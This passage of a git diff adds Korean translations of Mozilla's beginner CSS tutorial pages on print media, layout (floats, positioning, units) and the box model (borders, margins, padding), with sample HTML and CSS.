+    &lt;h1&gt;Section B&lt;/h1&gt;
+    &lt;p&gt;This is the second section...&lt;/p&gt;
+    &lt;div id="print-head"&gt;
+      Heading for paged media
+    &lt;/div&gt;
+    &lt;div id="print-foot"&gt;
+      Page:
+    &lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+  </li>
+  <li>Make a new stylesheet, <code>style4.css</code>. Copy and paste the content from here:
+    <pre class="brush:css">/*** Print sample ***/
+
+/* defaults  for screen */
+#print-head,
+#print-foot {
+  display: none;
+  }
+
+/* print only */
+@media print {
+
+h1 {
+  page-break-before: always;
+  padding-top: 2em;
+  }
+
+h1:first-child {
+  page-break-before: avoid;
+  counter-reset: page;
+  }
+
+#print-head {
+  display: block;
+  position: fixed;
+  top: 0pt;
+  left:0pt;
+  right: 0pt;
+
+  font-size: 200%;
+  text-align: center;
+  }
+
+#print-foot {
+  display: block;
+  position: fixed;
+  bottom: 0pt;
+  right: 0pt;
+
+  font-size: 200%;
+  }
+
+#print-foot:after {
+  content: counter(page);
+  counter-increment: page;
+  }
+
+} /* end print only */
+</pre>
+  </li>
+  <li>View this document in your browser; it uses your browser's default style.</li>
+  <li>Print (or print preview) the document; the stylesheet places each section on a separate page, and it adds a header and footer to each page. If your browser supports counters, it adds a page number in the footer.
+    <table>
+      <tbody>
+        <tr>
+          <td>
+            <table style="border: 2px outset #36b; padding: 1em;">
+              <tbody>
+                <tr>
+                  <td>
+                    <table style="width: 15em; margin-right: 2em;">
+                      <tbody>
+                        <tr>
+                          <td>
+                            <div style="font-size: 110%; text-align: center; margin-bottom: .5em;">
+                              Heading for paged media</div>
+                            <div style="font-size: 150%; font-weight: bold;">
+                              Section A</div>
+                            <div style="font-size: 75%;">
+                              This is the first section...</div>
+                            <div style="font-size: 150%; text-align: right; margin-top: 12em;">
+                              Page: 1</div>
+                          </td>
+                        </tr>
+                      </tbody>
+                    </table>
+                  </td>
+                </tr>
+              </tbody>
+            </table>
+          </td>
+          <td>
+            <table style="border: 2px outset #36b; padding: 1em;">
+              <tbody>
+                <tr>
+                  <td>
+                    <table style="width: 15em; margin-right: 2em;">
+                      <tbody>
+                        <tr>
+                          <td>
+                            <div style="font-size: 110%; text-align: center; margin-bottom: .5em;">
+                              Heading for paged media</div>
+                            <div style="font-size: 150%; font-weight: bold;">
+                              Section B</div>
+                            <div style="font-size: 75%;">
+                              This is the second section...</div>
+                            <div style="font-size: 150%; text-align: right; margin-top: 12em;">
+                              Page: 2</div>
+                          </td>
+                        </tr>
+                      </tbody>
+                    </table>
+                  </td>
+                </tr>
+              </tbody>
+            </table>
+          </td>
+        </tr>
+      </tbody>
+    </table>
+  </li>
+</ol>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; width: 100%;">
+  <caption>
+    Challenges</caption>
+  <tbody>
+    <tr>
+      <td>Move the print-specific style rules to a separate CSS file.
+        <p>Read the {{ CSSXref("@import") }} reference page to find details of how to import the new print-specific CSS file into your <code>style4.css</code> stylesheet.</p>
+        <p>Make the headings turn blue when the mouse pointer is over them.</p>
+      </td>
+    </tr>
+  </tbody>
+</table>
+<p> <a href="/en/CSS/Getting_Started/Challenge_solutions#Media" title="https://developer.mozilla.org/en/CSS/Getting_started/Challenge_solutions#Media">See solutions to these challenges.</a></p>
+<h2 id="What_next">What next?</h2>
+<p>If you had difficulty understanding this page, or if you have other comments about it, please contribute to its <a href="/Talk:en/CSS/Getting_Started/Media" title="Talk:en/CSS/Getting_Started/Media">Discussion</a> page.</p>
+<p>So far, all the style rules in this tutorial have been specified in files. The rules and their values are fixed. The next page describes how you can change rules dynamically by using a programming language: <strong><a href="/en/CSS/Getting_Started/JavaScript" title="en/CSS/Getting_Started/JavaScript">JavaScript</a></strong></p>
diff --git a/files/ko/web/css/시작하기/배치/index.html b/files/ko/web/css/시작하기/배치/index.html
new file mode 100644
index 0000000000..0b39699419
--- /dev/null
+++ b/files/ko/web/css/시작하기/배치/index.html
@@ -0,0 +1,369 @@
+---
+title: 배치
+slug: Web/CSS/시작하기/배치
+translation_of: Learn/CSS/CSS_layout
+---
+<p>{{ CSSTutorialTOC() }}</p>
+
+<div class="warning"><strong>중요</strong>: 번역은 제가 필요한 부분 및 확인 가능한 부분만 진행 하였으며 변역된 날자는(2013/03/19)이며 문서 변경이 잦아 오늘 이후는 원문과 번역이 다를 수 있습니다. 참고하세요. 미 번역/변경된 부분은 추가로 다른 분이 해 주실 것으로 믿습니다.</div>
+
+<p>{{ previousPage("/en-US/docs/CSS/Getting_Started/Boxes", "상자")}}<a href="/en/CSS/Getting_Started" title="en/CSS/Getting Started">CSS 시작하기</a> 안내서 12번째 장; 여기서는 Document의 배치를 정하는 몇몇 방법에 대해 알아본다. 예제 document를 좀 바꿔 보자.</p>
+
+<h2 class="clearLeft" id="정보_배치">정보: 배치</h2>
+
+<p>Document의 배치를 바꾸기 위해 CSS는 다양한 방법을 제공한다. 어떤 고급 기술은 여기 초급안내서의 범주를 훨씬 넘어서는 고급 기술이다.</p>
+
+<p>여러 브라우저에서의 결과물이 비슷하게 나오게 하기 위해, stylesheet값은 브라우저의 기본 stylesheet값과 배치값을 사용한다. 이 주제 또한 여기서의 초급과정보다 더 고급 과정이다.</p>
+
+<p>여기서는 간단한 기술에 대해 연습 해 보자.</p>
+
+<h3 id="Document_구조">Document 구조</h3>
+
+<p>만약 Document의 배치를 변경하려 한다면 이떤 경우에는 document 구조를 바꿔야 할지 모른다.</p>
+
+<p>document의 마크업 언어는 구조 생성을 위한 용도의 일반적인 태그를 가지고 있다. 예를 들면 HTML에서 구조를 생성 하기 위해 {{ HTMLElement("div") }} element를 사용 할 수 있다.</p>
+
+<div class="tuto_example">
+<div class="tuto_type">예제</div>
+
+<p>예제 Document에서 <u>Numbered paragraphs</u>가 표시된 단락은 컨테이너 구조가 아니다.</p>
+
+<p>따라서 이 단락 주변에는 설렉터에서 이 element에 대해 정의 한 것이 없으므로 경계 박스를 그릴 수 없다.</p>
+
+<p>이 구조적 문제를 해결 하기 위해, {{ HTMLElement("div") }}태그를 단락 주변에 추가 하라. 이 태그는 유일한 것이어서 id속성으로 구분 될 수 있다.</p>
+
+<pre class="brush:html;highlight:[2,8]">&lt;h3&gt;Numbered paragraphs&lt;/h3&gt;
+&lt;div id="numbered"&gt;
+  &lt;p&gt;Lorem ipsum&lt;/p&gt;
+  &lt;p&gt;Dolor sit&lt;/p&gt;
+  &lt;p&gt;Amet consectetuer&lt;/p&gt;
+  &lt;p&gt;Magna aliquam&lt;/p&gt;
+  &lt;p&gt;Autem veleum&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<p>이제 예제 stylesheet 에 두 리스트에 주변의 경계 표시를 위한 규칙 하나를 아래와 같이 추가 하자.</p>
+
+<pre class="brush:css">ul, #numbered {
+  border: 1em solid #69b;
+  padding-right:1em;
+}
+</pre>
+
+<p>아래와 같은 형식으로 출력된다.</p>
+
+<table style="background-color: white; border: 2px outset #36b; padding: 1em; width: 30em;">
+ <tbody>
+  <tr>
+   <td>
+    <p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em; border-top: 1px solid gray;">(A) The oceans</p>
+
+    <div style="border: 12px solid #69b; margin-bottom: 16px; padding: 1em;">
+    <ul style="">
+     <li>Arctic</li>
+     <li>Atlantic</li>
+     <li>Pacific</li>
+     <li>Indian</li>
+     <li>Southern</li>
+    </ul>
+    </div>
+
+    <p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em; border-top: 1px solid gray;">(B) Numbered paragraphs</p>
+
+    <div style="border: 12px solid #69b; margin-bottom: 8px; padding: 0px 12em 0px .5em;">
+    <p><strong>1: </strong>Lorem ipsum</p>
+
+    <p><strong>2: </strong>Dolor sit</p>
+
+    <p><strong>3: </strong>Amet consectetuer</p>
+
+    <p><strong>4: </strong>Magna aliquam</p>
+
+    <p><strong>5: </strong>Autem veleum</p>
+    </div>
+   </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="크기_단위">크기 단위</h3>
+
+<p>지금까지 이 안내서에서는 크기를 픽셀(px)단위로 표시 해왔다. 컴퓨터 화면과 같은 출력장치에서는 어느 정도 적절한 표시 방법이다. 그러나, 사용자가 글씨 크기를 바꿔 버리면 화면 출력은 이상하게 엉켜버릴 수 있다.</p>
+
+<p>다양한 용도를 위해 크기는 백분위(%)값이나, 고정넓이폰트 값(em)으료 표시하는 것이 더 좋은 방법이다.  고정 넓이 폰트 값(em)은 현재 사용되는 글씨체중 'm'에 해당하는 넓이를 기준으로 하고 있다.(영문에서는 'm'이 가장 넓은 폰트이다). 사용자가 글씨 크기를 바꾸면 배치는 자동적으로 맞추어 질 것이다.</p>
+
+<div class="tuto_example">
+<div class="tuto_type">예제</div>
+
+<p>아래 텍스트의 왼쪽에 있는 경계는 픽셀로 크기를 지정 했다.</p>
+
+<p>오른쪽은 고정 넓이 폰트값(aka ems)으로 지정 했다.</p>
+
+<p>브라우저에서 글씨 크기를 변경하고 확인 해보면 오른쪽은 적당한 크기를 유지하지만, 왼쪽은 그렇지 않다는 것을 확인 할 수 있을 것이다.</p>
+
+<table style="background-color: white; border: 2px outset #36b; padding: 1em;">
+ <tbody>
+  <tr>
+   <td>
+    <div style="">RESIZE ME PLEASE</div>
+   </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div class="tuto_details">
+<div class="tuto_type">좀더 자세히</div>
+
+<p>다른 기기에서는 다른 단위가 적절할 수 있다.</p>
+
+<p>이 안내서 나중 페이지에 이에 대해 좀더 자세히 알아 보도록 하자.</p>
+
+<p>변수 값과 단위에 대해 상세하게 확인 하고 싶다면 CSS 사양서의 <a class="external" href="http://www.w3.org/TR/CSS21/syndata.html#values">Values</a> 부분을 참고 하라.</p>
+</div>
+
+<h3 id="텍스트_배치">텍스트 배치</h3>
+
+<p>element 내용물을 배치하는데는 두가지 속성이 있다. 이 두가지를 통해 간단하게 배치/정열을 조절 할 수 있다.</p>
+
+<dl>
+ <dt>{{ cssxref("text-align") }}</dt>
+ <dd>이 <code>left</code>, <code>right</code>, <code>center</code>, <code>justify</code>값로 할당하여 정열 할 수 있다.</dd>
+ <dt>{{ cssxref("text-indent") }}</dt>
+ <dd>들여쓰기를 위해 적당한 값을 명시하여 사용 한다.</dd>
+</dl>
+
+<p>이 두 속성은 실제 텍스트 외에도 모든 텍스트 같은(text-like) element에도 영향을 미친다. 속성들은 부모로부터 자식까지 상송되므로, 자식 element에서 부모로 부터 받지 않으려는 속성에 대해서 정확하게 제거 하는 규칙을 추가 하지 않는다면 원하는 결과를 얻지 못할지 모른다.</p>
+
+<div class="tuto_example">
+<div class="tuto_type">예제</div>
+
+<p>헤더를 가운데 정렬하려면</p>
+
+<pre class="brush:css">h3 {
+  border-top: 1px solid gray;
+  text-align: center;
+}
+</pre>
+
+<p>결과는 아래와 같다.</p>
+
+<table style="background-color: white; border: 2px outset #36b; padding: 1em; width: 30em;">
+ <tbody>
+  <tr>
+   <td>
+    <p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em; border-top: 1px solid gray; text-align: center;">(A) The oceans</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>HTML document에서, 헤더 아래쪽에 보여지는 내용물(content)는 헤더에서 구조적으로 포함된 사항이 아니다. 그러므로 이와 같은 헤더를 정렬하려면 헤더 아래쪽 테그는 그 스타일을 상속 받아서는 안된다.</p>
+</div>
+
+<h3 id="부유(Floats)">부유(Floats)</h3>
+
+<p>{{ cssxref("float") }}속성은 element를 강제로 왼쪽 혹은 오른쪽으로 정렬시킨다. 이것이 element의 위치와 크기를 조정하는 가장 간단한 방법이다.</p>
+
+<p>나머지 document의 내용물(content)는 부유 속성의 element 주변으로 떠있게 된다. {{ cssxref("clear") }} 속성을 통해서 element들을 부유 element로 부터 떨어져 고정 위치하도록 한다.</p>
+
+<div class="tuto_example">
+<div class="tuto_type">예제</div>
+
+<p>예제 document에서 리스트는 윈도우의 크기에 맞게 늘어난다. 이를 방지하기 위해서는 부유속성으로 왼쪽으로 정렬되도록 하면 된다.</p>
+
+<p>아래 예로 헤더를 왼쪽 한곳에 고정 시키려면 clear속성과 left를 함께 선언 해 주어야 한다.</p>
+
+<pre class="brush:css">ul, #numbered {float: left;}
+h3 {clear: left;}
+</pre>
+</div>
+
+<p>The result looks like:</p>
+
+<table style="background-color: white; border: 2px outset #36b; padding: 1em; width: 30em;">
+ <tbody>
+  <tr>
+   <td>
+    <p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em; border-top: 1px solid gray;">(A) The oceans</p>
+
+    <div style="float: left; border: 12px solid #69b; margin-bottom: 16px; padding-left: 1em;">
+    <ul style="">
+     <li>Arctic</li>
+     <li>Atlantic</li>
+     <li>Pacific</li>
+     <li>Indian</li>
+     <li>Southern</li>
+    </ul>
+    </div>
+
+    <p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em; border-top: 1px solid gray;">(B) Numbered paragraphs</p>
+
+    <div style="float: left; border: 12px solid #69b; margin-bottom: 8px; padding-left: .5em;">
+    <p><strong>1: </strong>Lorem ipsum</p>
+
+    <p><strong>2: </strong>Dolor sit</p>
+
+    <p><strong>3: </strong>Amet consectetuer</p>
+
+    <p><strong>4: </strong>Magna aliquam</p>
+
+    <p><strong>5: </strong>Autem veleum</p>
+    </div>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>(텍스트가 경계선에 바짝 붙어 있다면 박스의 오른편에 약간의 내부 여백 필요할듯 하다.)</p>
+
+<h3 id="위치잡기">위치잡기</h3>
+
+<p>{{ cssxref("position") }}속성에 아래 4가지 방법으로 값을 선언하여 위치를 잡을 수 있다.</p>
+
+<p>더 많은 속성이 있지만 아래와 같은 간단한 방법으로(여기서는 초급 안내서이므로) 위치를 조정 할 수 있다. 그러나 아래 방법을 조합해서 쓴다면 다소 어려워 질 것이다.</p>
+
+<dl>
+ <dt><code>relative</code></dt>
+ <dd>element의 위치는 상대적으로 정해진다. 어느 정도 값을 지정 함으로 element를 위치 시킬 수 있다. element의 바깥 여백값을 설정함으로 이와 동일한 설정 효과를 볼 수도 있다.</dd>
+ <dt><code>fixed</code></dt>
+ <dd>고정 위치 설정법. document window에서의 상대적 위치를 지정하는 방법이다. document의 나머지 부분이 스크롤 되어야 할지라도 해당 element는 고정 값을 가진다.</dd>
+ <dt><code>absolute</code></dt>
+ <dd>부모 element의 위치에 상대적으로 위치가 고정된다. 그 부모 element는 위치 지정 방법이 <code>relative</code>, <code>fixed</code> or <code>absolute</code> 중 하나이어야 한다. element의 위치 속성을 releative로 설정 한다면 방향 표시를 하지 않더라도 어떠한 속성을 가진 부모 element에도 잘 동작 할 것이다.</dd>
+ <dt><code>static</code></dt>
+ <dd>기본 설정 값이다. 명확하게 상속받은 위치 지정을 해제하려면 이 값으로 선언 해야 한다.</dd>
+</dl>
+
+<p>이 위치 지정 속성과 함께(<code>static은 제외</code>) 방향(<code>top</code>, <code>right</code>, <code>bottom</code>, <code>left</code>), 높이(<code>width)</code>, 넓이(<code>height) 크기(size)도 같이 지정 해야 한다.</code></p>
+
+<div class="tuto_example">
+<div class="tuto_type">예제</div>
+
+<p>아래 두 element의 Top정렬을 동일한 위치에 설정 하려면 예제 Document의 두 element에 부모 container를 만들어라.</p>
+
+<pre class="brush:html">&lt;div id="parent-div"&gt;
+  &lt;p id="forward"&gt;/&lt;/p&gt;
+  &lt;p id="back"&gt;\&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<p>예제 stylesheet에서 부모 element의 위치 속성을 <code>relative로 하라.</code> 방향 속성까지 같이 할 필요는 없다.자식 element의 위치는 absolute로 설정하라.</p>
+
+<pre class="brush:css">#parent-div {
+  position: relative;
+  font: bold 200% sans-serif;
+}
+
+#forward, #back {
+  position: absolute;
+  margin:0px; /* no margin around the elements */
+  top: 0px; /* distance from top */
+  left: 0px; /* distance from left */
+}
+
+#forward {
+  color: blue;
+}
+
+#back {
+  color: red;
+}
+</pre>
+
+<p>결과는 아래처럼 백슬레쉬(\)와 슬레쉬(/)가 겹쳐서 위치 되도록 하였다.</p>
+
+<div style="position: relative; left: .33em; font: bold 300% sans-serif;">
+<p style="position: absolute; margin: 0px; top: 0px; left: 0px; color: blue;">/</p>
+
+<p style="position: absolute; margin: 0px; top: 0px; left: 0px; color: red;">\</p>
+</div>
+
+<table style="background-color: white; border: 2px outset #36b; height: 5em; padding: 1em; width: 30em;">
+ <tbody>
+  <tr>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div class="tuto_details">
+<div class="tuto_type">좀더 자세히</div>
+
+<p>위치 지정에 대한 모든 내용은 CSS 사양서의 <a class="external" href="http://www.w3.org/TR/CSS21/visuren.html">Visual formatting model</a>과 <a class="external" href="http://www.w3.org/TR/CSS21/visudet.html">Visual formatting model details</a>의 두 챕터에 나와 있다.</p>
+
+<p>다양한 브라우저에서 동작하도록 stylesheet를 설계하고자 한다면, 브라우저별로 표준을 다르게 해석하는 것과 특정 버전의 브라우저에 있는 버그에 대해서도 고려해야 한다.</p>
+</div>
+
+<h2 id="액션_배치_선언">액션: 배치 선언</h2>
+
+<ol>
+ <li><code>doc2.html와</code> <code>style2.css를 수정 하여 위에 나온</code><a href="#Document_structure" title="#Document structure"><strong>Document structure</strong></a> 와 <a href="#Floats" title="#Floats"><strong>Floats</strong></a>를 연습 해 보자.</li>
+ <li><a href="#Floats" title="#Floats"><strong>Floats</strong></a>예제에서 텍스트를 오른쪽 경계와의 안쪽 여백을 0.5 em로 설정 하라.</li>
+</ol>
+
+<div class="tuto_example">
+<div class="tuto_type">도전</div>
+
+<p><code>doc2.html의 아래쪽 &lt;/body&gt; 바로 위에 아래 태그를 추가하라</code>.</p>
+
+<pre class="brush:html">&lt;img id="fixed-pin" src="Yellow-pin.png" alt="Yellow map pin"&gt;
+</pre>
+
+<p>아래 이미지를 다운로드 하지 않았다면 지금 다운로드 하고, 위의 예제 파일이 있는 곳으로 저장하라.</p>
+
+<table style="border: 2px solid #ccc;">
+ <tbody>
+  <tr>
+   <td><img alt="Image:Yellow-pin.png" class="internal" src="/@api/deki/files/490/=Yellow-pin.png"></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Document내에서 위의 이미지가 어느 위치에 표시될지 예상 해 보라. 그리고 브라우저에서 읽어들여 그 결과를 확인 해 보라.</p>
+
+<p>Document의 오른쪽 위에 자리 잡을 수 있도록 예제 stylesheet에 규칙을 추가 해 보라.</p>
+
+<p>브라우저에서 다시 읽어 보고 윈도우를 작게 조절 해 보라. 윈도우 크기를 조절 할때에도 Document가 Scroll될지라도 위의 이미지가 오른쪽 위에 계속 자리 하는지를 확인 해 보라.</p>
+
+<div style="position: relative; width: 29.5em; height: 18em;">
+<div style="overflow: auto; border: 2px outset #36b; padding: 1em; width: 29em; height: 16em; background-color: white;">
+<p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em; border-top: 1px solid gray;">(A) The oceans</p>
+
+<div style="float: left; border: 12px solid #69b; margin-bottom: 16px; padding: 0px .5em 0px 1em;">
+<ul style="">
+ <li>Arctic</li>
+ <li>Atlantic</li>
+ <li>Pacific</li>
+ <li>Indian</li>
+ <li>Southern</li>
+</ul>
+</div>
+
+<p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em; border-top: 1px solid gray;">(B) Numbered paragraphs</p>
+
+<div style="float: left; border: 12px solid #69b; padding: 0 .5em 0 .5em;">
+<p><strong>1: </strong>Lorem ipsum</p>
+
+<p><strong>2: </strong>Dolor sit</p>
+
+<p><strong>3: </strong>Amet consectetuer</p>
+
+<p><strong>4: </strong>Magna aliquam</p>
+
+<p><strong>5: </strong>Autem veleum</p>
+</div>
+
+<p style=""> </p>
+
+<div style="position: absolute; top: 2px; right: 0px;"><img alt="Yellow map pin" class="internal" src="/@api/deki/files/490/=Yellow-pin.png"></div>
+</div>
+</div>
+</div>
+
+<p><a href="/en/CSS/Getting_Started/Challenge_solutions#Layout" title="https://developer.mozilla.org/en/CSS/Getting_Started/Challenge_solutions#Layout">정답 확인.</a></p>
+
+<h2 id="다음에는">다음에는?</h2>
+
+<p>{{ nextPage("/en-US/docs/CSS/Getting_Started/Tables", "테이블") }}이제까지 CSS의 초급 안내서에 나온 주제를 다 확인 해 보았다. 다음장에서 부터는 CSS 설렉터의 고급 기술과 <a href="/en-US/docs/CSS/Getting_Started/Tables" title="/en-US/docs/CSS/Getting_Started/Tables">테이블</a>의 스타일을 설정하는 방법에 대해 알아보자.</p>
diff --git a/files/ko/web/css/시작하기/상자/index.html b/files/ko/web/css/시작하기/상자/index.html
new file mode 100644
index 0000000000..17de8697c7
--- /dev/null
+++ b/files/ko/web/css/시작하기/상자/index.html
@@ -0,0 +1,330 @@
+---
+title: 상자
+slug: Web/CSS/시작하기/상자
+translation_of: Learn/CSS/Building_blocks
+---
+<p>{{ CSSTutorialTOC() }}</p>
+
+<div class="warning"><strong>중요</strong>: 번역은 제가 필요한 부분 및 확인 가능한 부분만 진행 하였으며 변역된 날자는(2013/03/19)이며 문서 변경이 잦아 오늘 이후는 원문과 번역이 다를 수 있습니다. 참고하세요. 미 번역/변경된 부분은 추가로 다른 분이 해 주실 것으로 믿습니다.</div>
+
+<p>{{ previousPage("/en-US/docs/CSS/Getting_Started/Lists", "리스트") }}<a href="/en/CSS/Getting_Started" title="en/CSS/Getting Started">CSS 시작하기</a> 안내서 11번째 장; 여기서는 CSS를 통해 element들이 보여질때 page의 공간을 어떻게 배치하는지에 대해 알아본다. 예제 documnet에서 각 element의 여백 조절과 꾸미기에 대해 배워 보자.</p>
+
+<h2 class="clearLeft" id="정보_상자">정보: 상자</h2>
+
+<p>Element를 브라우저에서 표시할때 그 Element는 공간을 자치 한다. 차지하는 공간에는 4가지 요소가 있다.</p>
+
+<p>가운데는, element의 내용물을 표시가는 공간이며, 주변은 안쪽 여백이 있고, 그 주변에 경계가 있으며, 다른 element와의 간격이 있다.</p>
+
+<table>
+ <tbody>
+  <tr>
+   <td style="width: 22em;">
+    <div style="background-color: #eee; padding: 0px 2em 2em 2em; width: 16em;">
+    <p style="text-align: center; margin: 0px;">margin</p>
+
+    <p style="text-align: center; margin: 0px 0px -.75em 0px;">border</p>
+
+    <div style="background-color: #fff; padding: 0px 2em 2em 2em; border: 4px solid #fd9;">
+    <p style="text-align: center;">padding</p>
+
+    <div style="background-color: #eee;">
+    <p style="text-align: center; padding: 0px; margin: 0px; font-size: 200%; font-weight: bold; color: #999;">element</p>
+    </div>
+    </div>
+    </div>
+
+    <p><em>옅은 회색은 레이아웃의 구성을 보여준다.</em></p>
+   </td>
+   <td>
+    <div style="background-color: #fff; padding: 0px 2em 2em 2em; width: 16em;">
+    <p style="text-align: center; margin: 0px;"> </p>
+
+    <p style="text-align: center; margin: 0px 0px -.75em 0px;"> </p>
+
+    <div style="background-color: #fff; padding: 0px 2em 2em 2em; border: 4px solid #fd9;">
+    <p style="text-align: center;"> </p>
+
+    <div style="background-color: #fff;">
+    <p style="text-align: center; padding: 0px; margin: 0px; font-size: 200%; font-weight: bold; color: #999;">element</p>
+    </div>
+    </div>
+    </div>
+
+    <p><em>브라우저에서는 위와 같이 보여준다.</em></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>안쪽 여백, 경계 그리고 바깥 여백은 element에 대해 각각 top, right, bottom, left의 크기를 가진다. 이것들은 크기가 0이 될 수도 있다.</p>
+
+<h3 id="색상입히기">색상입히기</h3>
+
+<p>안쪽 여백 색상은 element의 배경과 항상 동일하게 유지된다. 배경색을 바꾼다면 element경과 안쪽 여백 색이 바뀌는 것을 확인 할 수 있을 것이다. 바깥 여백은 항상 투명하다.</p>
+
+<table>
+ <tbody>
+  <tr>
+   <td style="width: 22em;">
+    <div style="background-color: #eee; padding: 0px 2em 2em 2em; width: 16em;">
+    <p style="text-align: center; margin: 0px;">margin</p>
+
+    <p style="text-align: center; margin: 0px 0px -.75em 0px;">border</p>
+
+    <div style="background-color: #efe; padding: 0px 2em 2em 2em; border: 4px solid #fd9;">
+    <p style="text-align: center;">padding</p>
+
+    <div style="background-color: #ded;">
+    <p style="text-align: center; padding: 0px; margin: 0px; font-size: 200%; font-weight: bold; color: #898;">element</p>
+    </div>
+    </div>
+    </div>
+
+    <p><em>element는 녹색 배경색이다..</em></p>
+   </td>
+   <td>
+    <div style="background-color: #fff; padding: 0px 2em 2em 2em; width: 16em;">
+    <p style="text-align: center; margin: 0px;"> </p>
+
+    <p style="text-align: center; margin: 0px 0px -.75em 0px;"> </p>
+
+    <div style="background-color: #efe; padding: 0px 2em 2em 2em; border: 4px solid #fd9;">
+    <p style="text-align: center;"> </p>
+
+    <div style="background-color: #efe;">
+    <p style="text-align: center; padding: 0px; margin: 0px; font-size: 200%; font-weight: bold; color: #898;">element</p>
+    </div>
+    </div>
+    </div>
+
+    <p><em>브라우저에서 보면 위와 같다.</em></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="경계">경계</h3>
+
+<p>라인이나 상자를 통해 element의 경계를 치장 할 수 있다.</p>
+
+<p>경계를 설정 하려면 {{ cssxref("border") }}속성을 이용하라. 두께(보통 표시 화면의 픽셀 두께), 스타일, 색상등을 설정 하라.</p>
+
+<p>스타일은 아래와 같다.</p>
+
+<table style="margin-left: 2em;">
+ <tbody>
+  <tr>
+   <td style="width: 6em;">
+    <div style="border: 2px solid #4a4; margin: .5em; padding: .5em; width: 5em; text-align: center;"><code>solid</code></div>
+   </td>
+   <td style="width: 6em;">
+    <div style="border: 2px dotted #4a4; margin: .5em; padding: .5em; width: 5em; text-align: center;"><code>dotted</code></div>
+   </td>
+   <td style="width: 6em;">
+    <div style="border: 2px dashed #4a4; margin: .5em; padding: .5em; width: 5em; text-align: center;"><code>dashed</code></div>
+   </td>
+   <td style="width: 6em;">
+    <div style="border: 4px double #4a4; margin: .5em; padding: .5em; width: 5em; text-align: center;"><code>double</code></div>
+   </td>
+  </tr>
+  <tr>
+   <td style="width: 6em;">
+    <div style="border: 2px inset #4a4; margin: .5em; padding: .5em; width: 5em; text-align: center;"><code>inset</code></div>
+   </td>
+   <td style="width: 6em;">
+    <div style="border: 2px outset #4a4; margin: .5em; padding: .5em; width: 5em; text-align: center;"><code>outset</code></div>
+   </td>
+   <td style="width: 6em;">
+    <div style="border: 4px ridge #4a4; margin: .5em; padding: .5em; width: 5em; text-align: center;"><code>ridge</code></div>
+   </td>
+   <td style="width: 6em;">
+    <div style="border: 4px groove #4a4; margin: .5em; padding: .5em; width: 5em; text-align: center;"><code>groove</code></div>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>스타일을 none이라 hidden으로 설정하면 경계가 사라진다. 다른 방법으로는 경계 색상을 투명으로 설정하여 레이아웃을 변경하지 않고도 경계를 보이지 않게 할 수도 있다.</p>
+
+<p>경계를 각각 별개로 설정하기 위해서는{{ cssxref("border-top") }}, {{ cssxref("border-right") }}, {{cssxref("border-bottom")}}, {{cssxref("border-left")}}등으로 할  수 있다. 각 top, right, bottom, left는 개별적으로 설정이 가능하다.</p>
+
+<div class="tuto_example">
+<div class="tuto_type">예제</div>
+
+<p>아래 규칙은 헤더 element의 윗쪽 경계와 배경색에 대한 속성을 지정 한다.</p>
+
+<pre class="brush:css">h3 {
+  border-top: 4px solid #7c7; /* mid green */
+  background-color: #efe;     /* pale green */
+  color: #050;                /* dark green */
+  }
+</pre>
+
+<p>결과는 아래와 같다.</p>
+
+<table>
+ <tbody>
+  <tr>
+   <td>
+    <p style="font-size: 133%; font-weight: bold; background-color: #efe; border-top: 4px solid #7c7; color: #050; padding-right: 6em;">Stylish heading</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>아래 규칙은 이미지 주변에 회색띠를 둘러서 경계를 구분하기 편하게 하고 있다.</p>
+
+<pre class="brush:css">img {border: 2px solid #ccc;}
+</pre>
+</div>
+
+<p>결과는 아래와 같다.</p>
+
+<table>
+ <tbody>
+  <tr>
+   <td>Image:</td>
+   <td style="border: 2px solid #ccc;"><img alt="Image:Blue-rule.png" class="internal" src="/@api/deki/files/47/=Blue-rule.png"></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="내외부_여백">내/외부 여백</h3>
+
+<p>내/외부 여백을 이용하여(margins and padding) element의 위치와 그 주변의 여백을 설정 할 수 있다.</p>
+
+<p>바깥 여백은 {{ cssxref("margin") }}속성을 사용하며 내부여백은 {{ cssxref("padding") }}속성을 각각 사용한다.</p>
+
+<p>위의 속성으로 넓이 값을 하나 선언하면 element의 4방향(top, right, bottom and left) 모두 바뀐다.</p>
+
+<p>넓이 값을 두개 선언하면, 첫번째 값으로는 top, bottom값이 적용되고, 두번째 값으로는 right, left값이 바뀐다.</p>
+
+<p>4개 값을 각각 주기 위해서는 각 값을 top, right, bottom, left의 순서로 나열 하면 된다.</p>
+
+<div class="tuto_example">
+<div class="tuto_type">예제</div>
+
+<p>아래는 p class가 remark인 단락을 빨간 경계박스로 만드는 규칙이다.</p>
+
+<p>안쪽 여백 값은 4픽셀으로 둘러져 있으며, 왼쪽 바깥 여백은 24픽셀이므로 들여쓰기 효과로 보여진다.</p>
+
+<pre class="brush:css">p.remark {
+  border: 2px solid red;
+  padding: 4px;
+  margin-left: 24px;
+  }
+</pre>
+
+<p>결과는 아래와 같다.</p>
+
+<table>
+ <tbody>
+  <tr>
+   <td>
+    <p>Here is a normal paragraph.</p>
+
